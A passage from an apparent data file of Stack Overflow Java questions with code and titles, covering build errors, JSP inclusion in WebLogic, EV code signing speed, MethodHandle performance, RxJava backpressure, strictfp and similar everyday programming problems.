SpringHibernateJpaPersistenceProvider.java:51 ) at org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean.createNativeEntityManagerFactory ( LocalContainerEntityManagerFactoryBean.java:358 ) at org.springframework.orm.jpa.AbstractEntityManagerFactoryBean.buildNativeEntityManagerFactory ( AbstractEntityManagerFactoryBean.java:384 ) at org.springframework.orm.jpa.AbstractEntityManagerFactoryBean.afterPropertiesSet ( AbstractEntityManagerFactoryBean.java:373 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeInitMethods ( AbstractAutowireCapableBeanFactory.java:1763 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean ( AbstractAutowireCapableBeanFactory.java:1700 ) ... 22 moreCaused by : java.lang.ClassNotFoundException : javax.xml.bind.JAXBException at java.base/java.net.URLClassLoader.findClass ( URLClassLoader.java:466 ) at java.base/java.lang.ClassLoader.loadClass ( ClassLoader.java:563 ) at java.base/java.lang.ClassLoader.loadClass ( ClassLoader.java:496 ) ... 32 more [ INFO ] -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- [ INFO ] BUILD FAILURE [ INFO ] -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- [ INFO ] Total time : 10.335 s [ INFO ] Finished at : 2017-10-20T14:02:18+13:00 [ INFO ] Final Memory : 45M/149M [ INFO ] -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- [ ERROR ] Failed to execute goal org.springframework.boot : spring-boot-maven-plugin:2.0.0.BUILD-SNAPSHOT : run ( default-cli ) on project spring5webapp : An exception occurred while running . null : InvocationTargetException : Error creating bean with name 'entityManagerFactory ' defined in class path resource [ org/springframework/boot/autoconfigure/orm/jpa/HibernateJpaConfiguration.class ] : Invocation of init method failed ; nested exception is java.lang.NoClassDefFoundError : javax/xml/bind/JAXBException : javax.xml.bind.JAXBException - > [ Help 1 ]",Spring Initializr Basic Project Wo n't Build +Java,"I 'm struggling with the following situation : In our current web application running on Tomcat 7.0.64 , we manage to include a JSP page via Java with the help of an own class CharArrayWriterResponse implementing HttpServletResponseWrapper.The reason for doing so is that we wrap the resulting HTML into JSON needed for an AJAX Response.Dependencies : Code example : Hint : I did n't consider exception handling in above code samples.I have to migrate this application to WebLogic ( 12.2.1 ) but this solution is not working anymore.What I found out so far : In Tomcat after the call to request.getRequestDispatcher ( jsp ) .include ( ) of the example above getWriter ( ) of my CharArrayWriterResponse class is called.In WebLogic getWriter ( ) is not called anymore and that 's the reason why it does n't work anymore.After some debugging , I found out that in WebLogic instead of getWriter ( ) only getOutputStream ( ) is called if I override it.getWriter ( ) is not called once on Weblogic so there have to be differences in the underlying implementation of Tomcat and WebLogic.Problem is that with getOutputStream ( ) I see no possibility to get the response of the include ( ) call in a separate stream or something else and to convert it to String for usage to build the final JSON containing the HTML.Has someone solved this problem already and can provide a working solution for including a JSP in a programmatic way in combination with WebLogic ? Does anyone know another solution to achieve my goal ? Thanks for suggestions.SolutionSee working example hereHintA difference I found out between Tomcat and new Weblogic solution : With latter one it 's not possible to include JSPF 's directly anymore wheras with Tomcat getWriter ( ) it is.Solution is wrapping the JSPF inside a JSP file .","< dependency > < groupId > javax < /groupId > < artifactId > javaee-web-api < /artifactId > < version > 7.0 < /version > < scope > provided < /scope > < /dependency > < dependency > < groupId > javax.servlet < /groupId > < artifactId > jstl < /artifactId > < version > 1.2 < /version > < /dependency > // somewhere in servlet doPost ( ) /doGet ( ) try ( PrintWriter out = response.getWriter ( ) ) { out.println ( getJspAsJson ( request , response ) ) ; } private static String getJspAsJson ( HttpServletRequest request , HttpServletResponse response ) { String html = getHtmlByJSP ( request , response , `` WEB-INF/path/to/existing.jsp '' ) ; Gson gson = new GsonBuilder ( ) .disableHtmlEscaping ( ) .create ( ) ; return `` { \ '' results\ '' : '' + gson.toJson ( html ) + `` } '' ; } public static String getHtmlByJSP ( HttpServletRequest request , HttpServletResponse response , String jsp ) { CharArrayWriterResponse customResponse = new CharArrayWriterResponse ( response ) ; request.getRequestDispatcher ( jsp ) .include ( request , customResponse ) ; return customResponse.getOutput ( ) ; } public class CharArrayWriterResponse extends HttpServletResponseWrapper { private final CharArrayWriter charArray = new CharArrayWriter ( ) ; public CharArrayWriterResponse ( HttpServletResponse response ) { super ( response ) ; } @ Override public PrintWriter getWriter ( ) throws IOException { // this is called ONLY in tomcat return new PrintWriter ( charArray ) ; } public String getOutput ( ) { return charArray.toString ( ) ; } @ Override public ServletOutputStream getOutputStream ( ) throws IOException { // this is called ONLY in WebLogic return null ; // do n't know how to handle it } }",Issue with RequestDispatcher including JSP programmatically in Weblogic 12c +Java,"Since February , GlobalSign only issues EV Code Signing certificates . This means that code signing has to be done with a hardware token ( Safenet USB eTokens ) . Since I had to switch to EV Code Signing , I noticed a huge time increase while signing my application . From a few minutes with a regular java keystore , to over 40 minutes with the eToken.According to the GlobalSign site , I should sign my jars as following : I contacted GlobalSign support , but they were unable to help me further as the signing actually works ... just very slow.Things I tried : Alternative TSASigning without a TSAPut project on the same disk and partition of the jarsigner 's locationUsing the command line instead of maven profile ( configured in my IDE ) Nothing had impact on the slow signing . Does anyone have other ideas or has had the same issue ?",jarsigner -keystore NONE -storetype PKCS11 -tsa http : //timestamp.globalsign.com/scripts/timestamp.dll -providerClass sun.security.pkcs11.SunPKCS11 -providerArg eToken.config -storepass mypass myapp.jar myalias,EV Code Signing extremely slow +Java,I 'm comparing performance of MethodHandle : :invoke and direct static method invokation . Here is the static method : And here is my benchmark : I got the following result : MethodHandle has some performance degradation . Running it with -prof perfasm shows this : As far as I could figure out the reason for the benchmark result is that the Hottest Region 2 org.sample.generated.MyBenchmark_finalMethodHandle_jmhTest : :finalMethodHandle_avgt_jmhStub contains all the type-checks performed by the MethodHandle : :invoke inside the JHM loop . Assembly output fragment ( some code ommitted ) : Before calling the invokeBasic we perform the type-checking ( inside the jmh loop ) which affects the output avgt.QUESTION : Why is n't all the type-check moved outside of the loop ? I declared public final MethodHandle mhh ; inside the benchmark . So I expected the compiler can figured it out and eliminate the same type-checks . How to make the same typechecks eliminated ? Is it possible ?,"public class IntSum { public static int sum ( int a , int b ) { return a + b ; } } @ State ( Scope.Benchmark ) public class MyBenchmark { public int first ; public int second ; public final MethodHandle mhh ; @ Benchmark @ OutputTimeUnit ( TimeUnit.NANOSECONDS ) @ BenchmarkMode ( Mode.AverageTime ) public int directMethodCall ( ) { return IntSum.sum ( first , second ) ; } @ Benchmark @ OutputTimeUnit ( TimeUnit.NANOSECONDS ) @ BenchmarkMode ( Mode.AverageTime ) public int finalMethodHandle ( ) throws Throwable { return ( int ) mhh.invoke ( first , second ) ; } public MyBenchmark ( ) { MethodHandle mhhh = null ; try { mhhh = MethodHandles.lookup ( ) .findStatic ( IntSum.class , `` sum '' , MethodType.methodType ( int.class , int.class , int.class ) ) ; } catch ( NoSuchMethodException | IllegalAccessException e ) { e.printStackTrace ( ) ; } mhh = mhhh ; } @ Setup public void setup ( ) throws Exception { first = 9857893 ; second = 893274 ; } } Benchmark Mode Cnt Score Error UnitsMyBenchmark.directMethodCall avgt 5 3.069 ± 0.077 ns/opMyBenchmark.finalMethodHandle avgt 5 6.234 ± 0.150 ns/op ... . [ Hottest Regions ] ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... . 31.21 % 31.98 % C2 , level 4 java.lang.invoke.LambdaForm $ DMH : :invokeStatic_II_I , version 490 ( 27 bytes ) 26.57 % 28.02 % C2 , level 4 org.sample.generated.MyBenchmark_finalMethodHandle_jmhTest : :finalMethodHandle_avgt_jmhStub , version 514 ( 84 bytes ) 20.98 % 28.15 % C2 , level 4 org.openjdk.jmh.infra.Blackhole : :consume , version 497 ( 44 bytes ) ... . [ Hottest Region 2 ] ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... C2 , level 4 , org.sample.generated.MyBenchmark_finalMethodHandle_jmhTest : :finalMethodHandle_avgt_jmhStub , version 519 ( 84 bytes ) ; ... 0x00007fa2112119b0 : mov 0x60 ( % rsp ) , % r10 ; ... 0x00007fa2112119d4 : mov 0x14 ( % r12 , % r11,8 ) , % r8d ; *getfield form0x00007fa2112119d9 : mov 0x1c ( % r12 , % r8,8 ) , % r10d ; *getfield customized0x00007fa2112119de : test % r10d , % r10d0x00007fa2112119e1 : je 0x7fa211211a65 ; *ifnonnull0x00007fa2112119e7 : lea ( % r12 , % r11,8 ) , % rsi0x00007fa2112119eb : callq 0x7fa211046020 ; *invokevirtual invokeBasic ; ... 0x00007fa211211a01 : movzbl 0x94 ( % r10 ) , % r10d ; *getfield isDone ; ... 0x00007fa211211a13 : test % r10d , % r10d ; jumping at the begging of jmh loop if not done0x00007fa211211a16 : je 0x7fa2112119b0 ; *aload_1 ; ...",Is it possible to make java.lang.invoke.MethodHandle as fast as direct invokation ? +Java,"I read one example of Decorator Design Pattern . I understood that this design pattern modifies the behaviour of one particular instance dynamically . The example which I have given below is also understandable . The point which I did not understand is that when I call c.getCost ( ) on a milk object , it returns 1.5.Only Simplecoffee 's getCost ( ) returns 1 , but from where does c.getCost on milk return 1.5 ? Can anyone please explain the link between the Milk class and Simplecoffee class , and how the execution of method getCost ( ) flows when called with the milk object ? How does the getCost ( ) method return 1.5 ?",//Decorator Design Patterninterface Coffee { public double getCost ( ) ; public String getIngredients ( ) ; } class Simplecoffee implements Coffee { public double getCost ( ) { return 1 ; } public String getIngredients ( ) { return `` Coffee '' ; } } abstract class CoffeeDecorator implements Coffee { protected Coffee decoratedcoffee ; protected String ingredientseparator = `` : '' ; public CoffeeDecorator ( Coffee decoratedcoffee ) { this.decoratedcoffee = decoratedcoffee ; } public double getCost ( ) { return decoratedcoffee.getCost ( ) ; } public String getIngredients ( ) { return decoratedcoffee.getIngredients ( ) ; } } class Milk extends CoffeeDecorator { public Milk ( Coffee decoratedcoffee ) { super ( decoratedcoffee ) ; System.out.println ( `` Milk Constructor '' ) ; } public double getCost ( ) { return super.getCost ( ) + 0.5 ; } public String getIngredients ( ) { return super.getIngredients ( ) + ingredientseparator + `` milk '' ; } } public class Decorator { public static void main ( String [ ] ar ) { System.out.println ( `` calling simplecoffee in main '' ) ; Coffee c = new Simplecoffee ( ) ; System.out.println ( `` Cost : '' + c.getCost ( ) ) ; c = new Milk ( c ) ; System.out.println ( `` Cost : '' + c.getCost ( ) ) ; } },How does the Decorator pattern chain method calls ? +Java,"I have a very long string which includes many new lines ( it 's a really long SQL statement ) .The SQL is easier to read when I break it up with newlines . But from time to time , I need to copy the sql statement from code to paste into sql developer.In Perl , I always loved the qq operator , which you can use in place of double quotes : You use it something like this : Is there an equivalent in JAVA ? I find it awkward to have to break up the string in chunks like this : and it 's hard to copy the SQL statement from code . I end up having to remove all the quotes and +'sIs there a Java equivalent ? Or is there a better trick to putting readable , copy-able SQL statements in Java code ?",$ myString = qq { SELECT * FROM table_a a JOIN table_b b ON a.id = b.id ... etc } ; String myString = `` SELECT * `` + `` FROM table_a a `` + `` JOIN table_b b ON a.id = b.id ... etc `` ;,What is the Java equivalent of Perl 's qq operator ? +Java,I am trying to find out the Ad Junk present ( Files which are Downloaded by the AD SDK of other apps ) .This is what I have been able to find out till now -I am loading the list of all the files in the devices and them checking them and grouping them like thisThere are many other cleaner which find out the junk files present in the Device . Even I am trying to achieve the same . Can any one help me on how to identify whether the file is an AD Junk file or not ?,if ( file.getPath ( ) .toLowerCase ( ) .endsWith ( `` .temp '' ) ) { //Temp Files found } else if ( file.getName ( ) .endsWith ( `` .apk '' ) & & file.canWrite ( ) ) { //Apk Files found },How to find out the AD Junk present in the device ? +Java,"I 'm playing an audio file using jlGui 's BasicPlayer ( it 's based on Javasound ) .The file is in a Samba share and I 'm using Jcifs to access it . It gives me an InputStream.I need to be able to position the pointer anywhere in the file , just like any common player.The only solution I could think of was to use a BufferedInputStream and a combination of mark/reset/skip everytime I need to reposition the pointer.As soon as I open the file and get the Stream , I call the mark ( ) method , so that a subsequent reset ( ) will reposition me at the beginning . Then with skip ( ) I can go where I want.My problem is that the skip ( ) call works as desired only if I specify a buffer big enough to contain the whole file.Is there a more efficient way to do this ?","NtlmPasswordAuthentication auth = new NtlmPasswordAuthentication ( ... ) ; SmbFile f = new SmbFile ( ... ) ; SmbFileInputStream audioIn = new SmbFileInputStream ( f ) ; int bufSize = 8096 ; //should I use f.length ( ) here ? audioBIS = new BufferedInputStream ( audioIn , bufSize ) ; audioBIS.mark ( f.length ( ) ) ; //call BasicPlayerplay ( audioBIS ) ; audioBIS.reset ( ) ; audioBIS.skip ( newBytePosition ) ;",Efficient way to seek a streaming audio over network with InputStream +Java,Any thoughts to instantiate Paradox class without modifying the class itself ?,public final class Paradox { private final Paradox paradox ; public Paradox ( Paradox paradox ) { this.paradox = paradox ; if ( this.paradox == null ) throw new InceptionException ( ) ; } private static class InceptionException extends RuntimeException { public InceptionException ( ) { super ( `` Paradox requires an instance of paradox to be instantiated '' ) ; } } },Paradox instantiation +Java,"I know the meaning of the strictfp modifier on methods ( and on classes ) , according to the JLS : JLS 8.4.3.5 , strictfp methods : The effect of the strictfp modifier is to make all float or double expressions within the method body be explicitly FP-strict ( §15.4 ) .JLS 15.4 FP-strict expressions : Within an FP-strict expression , all intermediate values must be elements of the float value set or the double value set , implying that the results of all FP-strict expressions must be those predicted by IEEE 754 arithmetic on operands represented using single and double formats . Within an expression that is not FP-strict , some leeway is granted for an implementation to use an extended exponent range to represent intermediate results ; the net effect , roughly speaking , is that a calculation might produce `` the correct answer '' in situations where exclusive use of the float value set or double value set might result in overflow or underflow.I 've been trying to come up with a way to get an actual difference between an expression in a strictfp method and one that is not strictfp . I 've tried this on two laptops , one with a Intel Core i3 CPU and one with an Intel Core i7 CPU . And I ca n't get any difference.A lot of posts suggest that native floating point , not using strictfp , could be using 80-bit floating point numbers , and have extra representable numbers below the smallest possible java double ( closest to zero ) or above the highest possible 64-bit java double.I tried this code below with and without a strictfp modifier and it gives exactly the same results.Actually , I assume that any difference would only show up when the code is compiled to assembly so I am running it with the -Xcomp JVM argument . But no difference.I found another post explaining how you can get the assembly code generated by HotSpot ( OpenJDK documentation ) . I 'm running my code with java -Xcomp -XX : +UnlockDiagnosticVMOptions -XX : +PrintAssembly.The first expression ( v * 1.0000001 / 1.0000001 ) with the strictfp modifier , and also the same without it , is compiled to : There is nothing in that code that truncates the result of each step to 64 bits like I had expected . Looking up the documentation of movsd , mulsd and divsd , they all mention that these ( SSE ) instructions operate on 64-bit floating point values , not 80-bit values as I expected . So it seems logical that the double value-set that these instructions operate on is already the IEEE 754 value set , so there would be no difference between having strictfp and not having it.My questions are : Is this analysis correct ? I do n't use Intel assembly very often so I 'm not confident of my conclusion.Is there any ( other ) modern CPU architecture ( that has a JVM ) for which there is a difference between operation with and without the strictfp modifier ?","public static strictfp void withStrictFp ( ) { double v = Double.MAX_VALUE ; System.out.println ( v * 1.0000001 / 1.0000001 ) ; v = Double.MIN_VALUE ; System.out.println ( v / 2 * 2 ) ; } 0x000000010f10a0a9 : movsd -0xb1 ( % rip ) , % xmm0 # 0x000000010f10a000 ; { section_word } 0x000000010f10a0b1 : mulsd -0xb1 ( % rip ) , % xmm0 # 0x000000010f10a008 ; { section_word } 0x000000010f10a0b9 : divsd -0xb1 ( % rip ) , % xmm0 # 0x000000010f10a010 ; { section_word }",Does Java strictfp modifier have any effect on modern CPUs ? +Java,"Sorry for the poor title , ca n't think of a succinct way of putting this..I 'm thinking of having a list of objects that will all be of a specific interface . Each of these objects may then implement further interfaces , but there is no guarantee which object will implement which . However , in a single loop , I wish to be able to call the methods of whatever their further sub-type may be.Ie , 3 interfaces : this would then be stored asso , instances added to the list could possibly also be of type IEggLayer or IMammal , which have completely unrelated methods.My initial instinct would be to then do But I have always been told that type checking is a sign that the code should really be refactored.Since it could be possible for a single object to do both [ platypus , for example ] , meaning that a single doFunction ( ) would not be suitable here , is it possible to avoid using type checking in this case , or is this an instance where type checking is classed as acceptable ? Is there possibly a design pattern catered to this ? I apologise for the contrived example as well ... [ Ignore any syntax errors , please - it 's only intended to be Java-like pseudocode ] I 've added lvalue to the EggLayer use , to show that sometimes the return type is important",public interface IAnimal { ... } public interface IEggLayer { public Egg layEgg ( ) ; } public interface IMammal { public void sweat ( ) ; } private List < IAnimal > animals= new ArrayList < IAnimal > ( ) ; for ( IAnimal animal : animals ) { if ( animal instanceof IEggLayer ) { egg = ( ( IEggLayer ) animal ) .layEgg ( ) ; } if ( animal instance of IMammal ) { ( ( IMammal ) animal ) .sweat ( ) ; } },Is it possible to avoid using type checking in this example ? +Java,"recently I realized that I do n't understand how RxJava2 backpressure works.I made small test and I expect that it should fail with MissingBackpressureException exception : System out shows next : Why it does n't produce MissingBackpressureException . I expect that e.onNext ( i ) ; will put item into buffer of ObservableObserveOn and after it 's size is greater than static final int BUFFER_SIZE = Math.max ( 16 , Integer.getInteger ( `` rx2.buffer-size '' ,128 ) .intValue ( ) ) ; It should throw MissingBackpressureException which does n't happen . Does the buffer automatically grow ? If not where are items stored ?",@ Testpublic void testBackpressureWillFail ( ) { Observable. < Integer > create ( e - > { for ( int i = 0 ; i < 10000 ; i++ ) { System.out.println ( `` Emit : `` + i ) ; e.onNext ( i ) ; } e.onComplete ( ) ; } ) .subscribeOn ( Schedulers.newThread ( ) ) .observeOn ( Schedulers.computation ( ) ) .doOnNext ( i - > { Thread.sleep ( 100 ) ; System.out.println ( `` Processed : '' + i ) ; } ) .blockingSubscribe ( ) ; } Emit : 0Emit : 1Emit : 2 ... Emit : 10000Processed:0Processed:1Processed:2 ... Processed:10000,RxJava2 Observable backpressure +Java,"I 'm coding a WebSocket server in Java . When I use WebSocket to connect to the server in firefox , I found two connection were established , and one of them never send any data ... My firefox version is 15.0.1The same code run in Chrome is OK , connect once , established only one connection.Does anybody have the trouble like this ? There is the server 's code : And there is the js code : When I run this js code in firefox , I get this in my server console : accept socket : Socket [ addr=/127.0.0.1 , port=56935 , localport=11111 ] accept socket : Socket [ addr=/127.0.0.1 , port=56936 , localport=11111 ]","ServerSocket svrSock = new ServerSocket ( ) ; svrSock.bind ( new InetSocketAddress ( `` 0.0.0.0 '' , 11111 ) ) ; while ( true ) { try { // accept connection Socket clientSock = svrSock.accept ( ) ; // print the socket which connected to this server System.out.println ( `` accept socket : `` + clientSock ) ; // run a thread for client new ClientThread ( clientSock ) .start ( ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } } var url = 'ws : //localhost:11111/test/ ' ; var ws = new WebSocket ( url ) ; ws.onopen = function ( ) { console.log ( 'connected ! ' ) ; ws.send ( 11111 ) ; ws.close ( ) ; } ; ws.onclose = function ( ) { console.log ( 'closed ! ' ) ; } ;",WebSocket in Firefox establish two connection +Java,"I am 2nd-year computer science student and I just got back from my first ever interview.Basically at the end my interviewer asked me to write a function that takes two arguments , an amount in pounds and a tax percentage and then return an array with the tax amount.I eventually wrote something like this after some trial and error : It worked and he seemed happy , what I am wondering is why I needed to return an array for this task ? I just feel like the question was really stupid the array is useless for this task right ? . Am I missing something ?","public static double [ ] taxAmount ( double pounds , double taxPercentage ) { double taxAmount = pounds * taxPercentage/100 ; double [ ] taxAmountArray = new double [ 1 ] ; taxAmountArray [ 0 ] = taxAmount ; return taxAmountArray ; }",Why was I asked to return an array for this interview task ? +Java,All ! I found strange code in LinkedBlockingQueue : Who can explain why do we need local variable h ? How can it help for GC ?,private E dequeue ( ) { // assert takeLock.isHeldByCurrentThread ( ) ; Node < E > h = head ; Node < E > first = h.next ; h.next = h ; // help GC head = first ; E x = first.item ; first.item = null ; return x ; },Strange code in java.util.concurrent.LinkedBlockingQueue +Java,"Recent events on the blogosphere have indicated that a possible performance problem with Scala is its use of closures to implement for.What are the reasons for this design decision , as opposed to a C or Java-style `` primitive for '' - that is one which will be turned into a simple loop ? ( I 'm making a distinction between Java 's for and its `` foreach '' construct here , as the latter involves an implicit Iterator ) .More detail , following up from Peter . This bit of Scala : creates 3 classes : ScratchFor $ $ anonfun $ main $ 1.class ScratchFor $ .class ScratchFor.classScratchFor : :main just forwards to the companion object , ScratchFor $ .MODULE $ : :main which spins up an ScratchFor $ $ anonfun $ main $ 1 ( which is an implementation of AbstractFunction1 ) .It 's in the apply ( ) method of this anonymous inner impl of AbstractFunction1 that the actual code lives , which is effectively the loop body.I do n't see HotSpot being able to rewrite this into a simple loop . Happy to be proved wrong on this , though .",object ScratchFor { def main ( args : Array [ String ] ) : Unit = { for ( val s < - args ) { println ( s ) } } },Why does Scala implement for as a closure ? +Java,"I have been able to successfully get an access token from Vimeo using the Scribe API.However , when I try to access a protected resource , I get an invalid signature error . My OAuthService that I use to try an access a protected resource , looks like : Then , I make a request doing the following : This fails and tell me that the signature is invalid .","OAuthService service = new ServiceBuilder ( ) .provider ( VimeoApi.class ) .apiKey ( APIKEY ) .apiSecret ( API_SECRET ) .signatureType ( SignatureType.QueryString ) .build ( ) ; OAuthRequest orequest = new OAuthRequest ( Verb.GET , `` http : //vimeo.com/api/rest/v2 '' ) ; orequest.addBodyParameter ( `` method '' , `` vimeo.videos.upload.getQuota '' ) ;",OAuth integration with Vimeo using Scribe +Java,"As I struggled for hours I finally found where those annoying ClassCastExceptions came from , which I thought were produced by Hibernate and it 's enum-mapping.But they came from my JSF view , where I passed a List from back into my backing bean.My data simply consists of the values of an enum : public Role [ ] getRoles ( ) { return Role.values ( ) ; } .I was really shocked when I tested the setter of roles in the User-class and got this : Changing List < Role > paramRoles to List < String > paramRoles worked perfectly.How is this possible ? Should n't those generics be type safe or is type erasure in connection with JSF killing the whole type safety thing ? Also should n't the return value of h : selectManyCheckbox be List < Role > , like I passed in via the f : selectItems ?",< h : selectManyCheckbox value= '' # { createUserManager.user.roles } '' ... > < f : selectItems value= '' # { createUserManager.roles } '' / > < /h : selectManyCheckbox > public void setRoles ( List < Role > paramRoles ) { System.out.println ( paramRoles.get ( 0 ) instanceof Role ) ; //output : false for ( Role role : paramRoles ) { ... } //crashes with ClassCastException },JSF and type safety +Java,I have a method to remove some characters from a string . Is there a better way to do this using java 8 ?,public String filter ( String test ) { StringBuilder builder = new StringBuilder ( ) ; for ( int i = 0 ; i < test.length ( ) ; i++ ) { if ( MYCOLLECTION.contains ( test.charAt ( i ) ) ) { builder .append ( test.charAt ( i ) ) ; } } return builder .toString ( ) ; },Java 8 filtering a string +Java,"Take a look at this java puzzles vid by Josh Bloch and William Pugh , around time index 0:25:00-0:33:00.One of the speakers says that if you use lowercase boolean instead of Boolean , then LIVING will be treated as a true `` compile time constant '' , and it no longer matters when it is initialized.Well , this is all fine and dandy , but , take a look at what happens when you revert to the original order between the static init and the constructor , and then follow it up by a simple `` Extract Method '' operation . These two programs print different outputs : And with the refactored returnTrue ( ) methodWhy does extracting the returnTrue ( ) method change the program output in this case ?",public class Elvis { private static final Elvis ELVIS = new Elvis ( ) ; private Elvis ( ) { } private static final boolean LIVING = true ; private final boolean alive = LIVING ; private final boolean lives ( ) { return alive ; } public static void main ( String [ ] args ) { System.out.println ( ELVIS.lives ( ) ) ; // prints true } } public class Elvis { private static final Elvis ELVIS = new Elvis ( ) ; private Elvis ( ) { } private static final boolean LIVING = returnTrue ( ) ; private static boolean returnTrue ( ) { return true ; } private final boolean alive = LIVING ; private final boolean lives ( ) { return alive ; } public static void main ( String [ ] args ) { System.out.println ( ELVIS.lives ( ) ) ; // prints false } },I found a bug in Java Puzzlers VI - can someone explain it ? +Java,"My Android app is a fullscreen OpenGL ES 2.0 app , so the main content is a custom extension of GLSurfaceView.The activity layout looks like this : I then add my GLSurfaceView using the addView method of the FrameLayout.If i do n't do this , the Drawer works as expected.The ListView seems to be pulled out correctly when i swipe it in , as i ca n't interact with the GLSurfaceView anymore until i swipe it back to the left . But it 's not displayed at all , like the GLSurfaceView is allways rendered ontop of it.How do i get a DrawerLayout working with a GLSurfaceView as its content ?",< android.support.v4.widget.DrawerLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' android : id= '' @ +id/drawer_layout '' > < FrameLayout android : id= '' @ +id/content_frame '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' / > < ListView android : id= '' @ +id/left_drawer '' android : layout_width= '' 240dp '' android : layout_height= '' match_parent '' android : layout_gravity= '' start '' android : choiceMode= '' singleChoice '' android : divider= '' @ android : color/transparent '' android : dividerHeight= '' 0dp '' android : background= '' # 111 '' / > < /android.support.v4.widget.DrawerLayout >,DrawerLayout ListView not drawn with GLSurfaceView as content +Java,"I wondered if Java7 's new invokedynamic bytecode instruction could be used to implement multiple dispatch for the Java language . Would the new API under java.lang.invoke be helpful to perform such a thing ? The scenario I was thinking about looked as follows . ( This looks like an application case for the visitor design pattern , but there may be reasons that this is not a viable option . ) The library class MultipleDispatch would then do something of the kind : ( I am aware of MultiJava , but can this be achieved in a Java-pure fashion ? )","class A { } class A1 extends A { } class A2 extends A { } class SomeHandler { private void doHandle ( A1 a1 ) { ... } private void doHandle ( A2 a2 ) { ... } private void doHandle ( A a ) { ... } public void handle ( A a ) { MultipleDispatch.call ( this , `` doHandle '' , a ) ; } } class MultipleDispatch { public static Object call ( Object receiver , String method , Object ... arg ) { // something like that in byte code # invokeDynamic `` doHandle '' `` someBootstrap '' } static CallSite someBootstrap { // resolve that dynamic method call . } }",Use invokedynamic to implement multiple dispatch +Java,"In Java SE one can use constructs like to control the number of threads available to the executor service . In Java EE 7 it 's possible to inject executor services : But how can I control the number of threads available to the managed executor service ? For example , in the application I 'm writing , there is an executor service that has to be executed in a single thread . So I ca n't just let the platform choose its preferred number of threads .",ExecutorService es1 = Executors.newSingleThreadExecutor ( ) ; ExecutorService es2 = Executors.newFixedThreadPool ( 10 ) ; @ Resource private ManagedExecutorService mes ;,Controlling number of Threads for ManagedExecutorServices / Java EE 7 +Java,"I 'd like to sort a map with strings , so that certain strings are prioritized and the rest is ordered as usual . Like this : Just like in this question.I 'm using a TreeMap and my current compare method looks like this : As you can see , this gets quite cumbersome with more prioritized Strings.Is there a better way to do this ? Solution ( thanks to amit for the idea ) : Use a 2nd map to store the priorities :","`` Dan '' , `` value '' //priority 1 '' Eric '' , `` value '' //priority 2 '' Ann '' , `` value '' //priority 3 '' Bella '' , `` value '' //no priority '' Chris '' , `` value '' //no priority public int compare ( String o1 , String o2 ) { if ( o1.equals ( o2 ) ) return 0 ; if ( o1.equals ( `` Dan '' ) ) return -1 ; if ( o2.equals ( `` Dan '' ) ) return 1 ; if ( o1.equals ( `` Eric '' ) ) return -1 ; if ( o2.equals ( `` Eric '' ) ) return 1 ; if ( o1.equals ( `` Ann '' ) ) return -1 ; if ( o2.equals ( `` Ann '' ) ) return 1 ; else return o1.compareTo ( o2 ) ; } TreeMap < String , Integer > prio = new TreeMap < > ( ) ; prio.put ( `` Dan '' , 1 ) ; prio.put ( `` Eric '' , 2 ) ; prio.put ( `` Ann '' , 3 ) ; comparator = new Comparator < String > ( ) { @ Override public int compare ( String o1 , String o2 ) { if ( prio.containsKey ( o1 ) ) { if ( prio.containsKey ( o2 ) ) { return prio.get ( o1 ) .compareTo ( prio.get ( o2 ) ) ; } else return -1 ; } else if ( prio.containsKey ( o2 ) ) { return 1 ; } else return o1.compareTo ( o2 ) ; } } ;",Best way to prioritize certain Strings while sorting a Map +Java,"Is there a way to use the JavaFX touch events in a swing application ? Currently I am using a JFXPanel to capture the JavaFX events , however when I try to get the events I am not receving any touch events and only mouse events instead . This is tested on a Windows 8.1 Dell Touch Screen . Updated : The code below is the skeleton of what I am using to get the events . This JFXPanel is used as a glasspane in the Swing application . This creates a JFXPanel for the glasspane , which is able to capture all the events .","public class MouseEventRouter extends JFXPanel { ... public ZeusMouseEventRouter ( JMenuBar menuBar , Container contentPane ) { ... this._contentPane = contentPane ; this._contentPane.add ( _JFXpanel ) ; this._contentPane.setVisible ( true ) ; init ( ) ; } private void init ( ) { pane = new VBox ( ) ; pane.setAlignment ( Pos.CENTER ) ; Platform.runLater ( this : :createScene ) ; } private void createScene ( ) { Scene scene = new Scene ( pane ) ; ... scene.setOnTouchPressed ( new EventHandler < javafx.scene.input.TouchEvent > ( ) { @ Override public void handle ( javafx.scene.input.TouchEvent event ) { System.out.println ( `` tap down detected '' ) ; } } ) ; ... setScene ( scene ) ; } }",Use only JavaFX touch events in Swing Application +Java,Output of the below code confusing me . Why NaN sometimes and Infinity other times ? Outputs is : What is the deciding factor here ?,public static void main ( String [ ] args ) { double a = 0.0 ; double b = 1.0 ; int c = 0 ; System.out.println ( a/0.0 ) ; System.out.println ( a/0 ) ; System.out.println ( b/0.0 ) ; System.out.println ( b/0 ) ; System.out.println ( c/0.0 ) ; System.out.println ( c/0 ) ; } NaNNaNInfinityInfinityNaNException in thread `` main '' java.lang.ArithmeticException : / by zero,What decides Nan and Infinity in java division operations +Java,When doing lazy initialization of a static singleton in Java you can do this : Because the inner class SingletonWrapper is only loaded when first accessed the Bob ( ) is not created until getInstance ( ) is called.My question is whether there are any similar tricks that can be used to do a lazy instantiation of a member variable in a non-static context.Is there any way we can have an instance of Jane within Bob and thread safely have the instance only created on demand without using double check locking or AtomicReference . Ideally the get method should remain as simple as the one in these examples but if that is not possible then the simplest and fastest possible ( most efficient ) execution of the get method would be ideal .,public class Bob { private static class SingletonWrapper { private static final Bob instance = new Bob ( ) ; } public static Bob getInstance ( ) { return SingletonWrapper.instance ; } } public class Bob { // Clearly this does n't work as not lazy private final InnerWrapper wrapper = new 